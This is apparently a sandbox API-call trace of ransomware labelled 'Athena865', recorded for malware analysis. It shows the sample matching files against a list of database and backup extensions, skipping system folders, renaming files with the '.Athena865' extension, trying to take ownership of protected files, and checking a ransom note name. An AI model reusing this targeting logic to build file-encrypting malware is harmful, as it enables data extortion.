lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.420] lstrlenW (lpString="adn") returned 3 [0035.420] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.420] lstrlenW (lpString="adp") returned 3 [0035.420] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.420] lstrlenW (lpString="alf") returned 3 [0035.420] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.420] lstrlenW (lpString="ask") returned 3 [0035.420] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.420] lstrlenW (lpString="btr") returned 3 [0035.420] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.420] lstrlenW (lpString="cat") returned 3 [0035.421] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.421] lstrlenW (lpString="cdb") returned 3 [0035.421] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.421] lstrlenW (lpString="ckp") returned 3 [0035.421] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.421] lstrlenW (lpString="cma") returned 3 [0035.421] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.421] lstrlenW (lpString="cpd") returned 3 [0035.421] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.421] lstrlenW (lpString="dacpac") returned 6 [0035.421] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.421] lstrlenW (lpString="dad") returned 3 [0035.421] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.421] lstrlenW (lpString="dadiagrams") returned 10 [0035.421] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.421] lstrlenW (lpString="daschema") returned 8 [0035.421] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.421] lstrlenW (lpString="db-journal") returned 10 [0035.421] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.421] lstrlenW (lpString="db-shm") returned 6 [0035.421] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.421] lstrlenW (lpString="db-wal") returned 6 [0035.421] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.421] lstrlenW (lpString="dbc") returned 3 [0035.421] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.421] lstrlenW (lpString="dbs") returned 3 [0035.421] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.421] lstrlenW (lpString="dbt") returned 3 [0035.421] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.421] lstrlenW (lpString="dbv") returned 3 [0035.421] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.421] lstrlenW (lpString="dbx") returned 3 [0035.421] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.421] lstrlenW (lpString="dcb") returned 3 [0035.421] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.421] lstrlenW (lpString="dct") returned 3 [0035.421] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.421] lstrlenW (lpString="dcx") returned 3 [0035.422] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.422] lstrlenW (lpString="ddl") returned 3 [0035.422] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.422] lstrlenW (lpString="dlis") returned 4 [0035.422] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.422] lstrlenW (lpString="dp1") returned 3 [0035.422] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.422] lstrlenW (lpString="dqy") returned 3 [0035.422] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.422] lstrlenW (lpString="dsk") returned 3 [0035.422] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.422] lstrlenW (lpString="dsn") returned 3 [0035.422] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.422] lstrlenW (lpString="dtsx") returned 4 [0035.422] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.422] lstrlenW (lpString="dxl") returned 3 [0035.422] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.422] lstrlenW (lpString="eco") returned 3 [0035.422] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.422] lstrlenW (lpString="ecx") returned 3 [0035.422] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.422] lstrlenW (lpString="edb") returned 3 [0035.422] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.422] lstrlenW (lpString="epim") returned 4 [0035.422] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.422] lstrlenW (lpString="fcd") returned 3 [0035.422] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.422] lstrlenW (lpString="fdb") returned 3 [0035.422] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.422] lstrlenW (lpString="fic") returned 3 [0035.422] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.422] lstrlenW (lpString="flexolibrary") returned 12 [0035.422] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.422] lstrlenW (lpString="fm5") returned 3 [0035.422] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.422] lstrlenW (lpString="fmp") returned 3 [0035.422] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.422] lstrlenW (lpString="fmp12") returned 5 [0035.423] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.423] lstrlenW (lpString="fmpsl") returned 5 [0035.423] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.423] lstrlenW (lpString="fol") returned 3 [0035.423] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.423] lstrlenW (lpString="fp3") returned 3 [0035.423] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.423] lstrlenW (lpString="fp4") returned 3 [0035.423] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.423] lstrlenW (lpString="fp5") returned 3 [0035.423] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.423] lstrlenW (lpString="fp7") returned 3 [0035.423] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.423] lstrlenW (lpString="fpt") returned 3 [0035.423] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.423] lstrlenW (lpString="frm") returned 3 [0035.423] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.423] lstrlenW (lpString="gdb") returned 3 [0035.423] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.423] lstrlenW (lpString="gdb") returned 3 [0035.423] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.423] lstrlenW (lpString="grdb") returned 4 [0035.423] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.423] lstrlenW (lpString="gwi") returned 3 [0035.423] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.423] lstrlenW (lpString="hdb") returned 3 [0035.423] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.423] lstrlenW (lpString="his") returned 3 [0035.423] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.423] lstrlenW (lpString="ib") returned 2 [0035.423] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.423] lstrlenW (lpString="idb") returned 3 [0035.423] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.423] lstrlenW (lpString="ihx") returned 3 [0035.423] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.423] lstrlenW (lpString="itdb") returned 4 [0035.423] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.423] lstrlenW (lpString="itw") returned 3 [0035.423] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.424] lstrlenW (lpString="jet") returned 3 [0035.424] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.424] lstrlenW (lpString="jtx") returned 3 [0035.424] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.424] lstrlenW (lpString="kdb") returned 3 [0035.424] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.424] lstrlenW (lpString="kexi") returned 4 [0035.424] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.424] lstrlenW (lpString="kexic") returned 5 [0035.424] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.424] lstrlenW (lpString="kexis") returned 5 [0035.424] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.424] lstrlenW (lpString="lgc") returned 3 [0035.424] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.424] lstrlenW (lpString="lwx") returned 3 [0035.424] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.424] lstrlenW (lpString="maf") returned 3 [0035.424] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.424] lstrlenW (lpString="maq") returned 3 [0035.424] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.424] lstrlenW (lpString="mar") returned 3 [0035.424] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.424] lstrlenW (lpString="marshal") returned 7 [0035.424] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.424] lstrlenW (lpString="mas") returned 3 [0035.424] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.424] lstrlenW (lpString="mav") returned 3 [0035.424] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.424] lstrlenW (lpString="maw") returned 3 [0035.424] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.424] lstrlenW (lpString="mdbhtml") returned 7 [0035.424] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.424] lstrlenW (lpString="mdn") returned 3 [0035.424] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.424] lstrlenW (lpString="mdt") returned 3 [0035.424] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.424] lstrlenW (lpString="mfd") returned 3 [0035.424] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.424] lstrlenW (lpString="mpd") returned 3 [0035.425] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.425] lstrlenW (lpString="mrg") returned 3 [0035.425] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.425] lstrlenW (lpString="mud") returned 3 [0035.425] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.425] lstrlenW (lpString="mwb") returned 3 [0035.425] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.425] lstrlenW (lpString="myd") returned 3 [0035.425] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.425] lstrlenW (lpString="ndf") returned 3 [0035.425] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.425] lstrlenW (lpString="nnt") returned 3 [0035.425] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.425] lstrlenW (lpString="nrmlib") returned 6 [0035.425] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.425] lstrlenW (lpString="ns2") returned 3 [0035.425] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.425] lstrlenW (lpString="ns3") returned 3 [0035.425] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.425] lstrlenW (lpString="ns4") returned 3 [0035.425] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.425] lstrlenW (lpString="nsf") returned 3 [0035.425] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.425] lstrlenW (lpString="nv") returned 2 [0035.425] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.425] lstrlenW (lpString="nv2") returned 3 [0035.425] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.425] lstrlenW (lpString="nwdb") returned 4 [0035.425] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.425] lstrlenW (lpString="nyf") returned 3 [0035.425] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.425] lstrlenW (lpString="odb") returned 3 [0035.425] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.425] lstrlenW (lpString="odb") returned 3 [0035.425] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.425] lstrlenW (lpString="oqy") returned 3 [0035.425] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.425] lstrlenW (lpString="ora") returned 3 [0035.425] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.425] lstrlenW (lpString="orx") returned 3 [0035.426] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.426] lstrlenW (lpString="owc") returned 3 [0035.426] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.426] lstrlenW (lpString="p96") returned 3 [0035.426] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.426] lstrlenW (lpString="p97") returned 3 [0035.426] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.426] lstrlenW (lpString="pan") returned 3 [0035.426] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.426] lstrlenW (lpString="pdb") returned 3 [0035.426] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.426] lstrlenW (lpString="pdm") returned 3 [0035.426] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.426] lstrlenW (lpString="pnz") returned 3 [0035.426] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.426] lstrlenW (lpString="qry") returned 3 [0035.426] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.426] lstrlenW (lpString="qvd") returned 3 [0035.426] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.426] lstrlenW (lpString="rbf") returned 3 [0035.426] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.426] lstrlenW (lpString="rctd") returned 4 [0035.426] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.426] lstrlenW (lpString="rod") returned 3 [0035.426] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.426] lstrlenW (lpString="rodx") returned 4 [0035.426] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.426] lstrlenW (lpString="rpd") returned 3 [0035.426] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.426] lstrlenW (lpString="rsd") returned 3 [0035.426] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.426] lstrlenW (lpString="sas7bdat") returned 8 [0035.426] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.426] lstrlenW (lpString="sbf") returned 3 [0035.426] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.426] lstrlenW (lpString="scx") returned 3 [0035.426] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.426] lstrlenW (lpString="sdb") returned 3 [0035.426] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.427] lstrlenW (lpString="sdc") returned 3 [0035.427] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.427] lstrlenW (lpString="sdf") returned 3 [0035.427] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.427] lstrlenW (lpString="sis") returned 3 [0035.427] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.427] lstrlenW (lpString="spq") returned 3 [0035.427] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.427] lstrlenW (lpString="te") returned 2 [0035.427] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.427] lstrlenW (lpString="teacher") returned 7 [0035.427] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.427] lstrlenW (lpString="tmd") returned 3 [0035.427] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.427] lstrlenW (lpString="tps") returned 3 [0035.427] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.427] lstrlenW (lpString="trc") returned 3 [0035.427] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.427] lstrlenW (lpString="trc") returned 3 [0035.427] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.427] lstrlenW (lpString="trm") returned 3 [0035.427] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.427] lstrlenW (lpString="udb") returned 3 [0035.427] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.427] lstrlenW (lpString="udl") returned 3 [0035.427] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.427] lstrlenW (lpString="usr") returned 3 [0035.427] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.427] lstrlenW (lpString="v12") returned 3 [0035.427] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.427] lstrlenW (lpString="vis") returned 3 [0035.427] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.427] lstrlenW (lpString="vpd") returned 3 [0035.427] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.427] lstrlenW (lpString="vvv") returned 3 [0035.427] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.427] lstrlenW (lpString="wdb") returned 3 [0035.427] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.427] lstrlenW (lpString="wmdb") returned 4 [0035.428] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.428] lstrlenW (lpString="wrk") returned 3 [0035.428] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.428] lstrlenW (lpString="xdb") returned 3 [0035.428] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.428] lstrlenW (lpString="xld") returned 3 [0035.428] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.428] lstrlenW (lpString="xmlff") returned 5 [0035.428] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.428] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.428] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.428] GetLastError () returned 0x5 [0035.428] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.428] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.428] SetEntriesInAclW () returned 0x0 [0035.428] SetNamedSecurityInfoW () returned 0x5 [0035.428] SetNamedSecurityInfoW () returned 0x5 [0035.428] LocalFree (hMem=0x529490) returned 0x0 [0035.428] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.428] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.428] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.428] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd62 [0035.428] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.429] CloseHandle (hObject=0x154) returned 1 [0035.429] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.429] CloseHandle (hObject=0x0) returned 0 [0035.429] CloseHandle (hObject=0x0) returned 0 [0035.429] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7d3fcc40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x7d3fcc40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x71e0e9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1588c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{93E0C~1")) returned 1 [0035.429] lstrcmpiW (lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.431] lstrcmpiW (lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.431] lstrcmpiW (lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.431] lstrcmpiW (lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.431] lstrcmpiW (lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.431] lstrcmpiW (lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.431] lstrcmpiW (lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.431] lstrcmpiW (lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.431] lstrcmpiW (lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.431] lstrcmpiW (lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.431] lstrcmpiW (lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.431] lstrcmpiW (lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.431] lstrcmpiW (lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.431] lstrlenW (lpString="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.431] lstrcpyW (in: lpString1=0x241e882, lpString2="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.431] lstrlenW (lpString="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.431] lstrlenW (lpString="Athena865") returned 9 [0035.431] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.431] lstrlenW (lpString=".dll") returned 4 [0035.431] lstrcmpiW (lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.431] lstrlenW (lpString=".lnk") returned 4 [0035.431] lstrcmpiW (lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.431] lstrlenW (lpString=".ini") returned 4 [0035.431] lstrcmpiW (lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.431] lstrlenW (lpString=".sys") returned 4 [0035.431] lstrcmpiW (lpString1="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.431] lstrlenW (lpString="{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.431] lstrlenW (lpString="bak") returned 3 [0035.431] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.431] lstrlenW (lpString="ba_") returned 3 [0035.431] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.431] lstrlenW (lpString="dbb") returned 3 [0035.431] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.432] lstrlenW (lpString="vmdk") returned 4 [0035.432] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.432] lstrlenW (lpString="rar") returned 3 [0035.432] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.432] lstrlenW (lpString="zip") returned 3 [0035.432] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.432] lstrlenW (lpString="tgz") returned 3 [0035.432] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.432] lstrlenW (lpString="vbox") returned 4 [0035.432] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.432] lstrlenW (lpString="vdi") returned 3 [0035.432] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.432] lstrlenW (lpString="vhd") returned 3 [0035.432] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.432] lstrlenW (lpString="vhdx") returned 4 [0035.432] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.432] lstrlenW (lpString="avhd") returned 4 [0035.432] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.432] lstrlenW (lpString="db") returned 2 [0035.432] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.432] lstrlenW (lpString="db2") returned 3 [0035.432] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.432] lstrlenW (lpString="db3") returned 3 [0035.432] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.432] lstrlenW (lpString="dbf") returned 3 [0035.432] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.432] lstrlenW (lpString="mdf") returned 3 [0035.432] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.432] lstrlenW (lpString="mdb") returned 3 [0035.432] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.432] lstrlenW (lpString="sql") returned 3 [0035.432] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.432] lstrlenW (lpString="sqlite") returned 6 [0035.432] lstrcmpiW 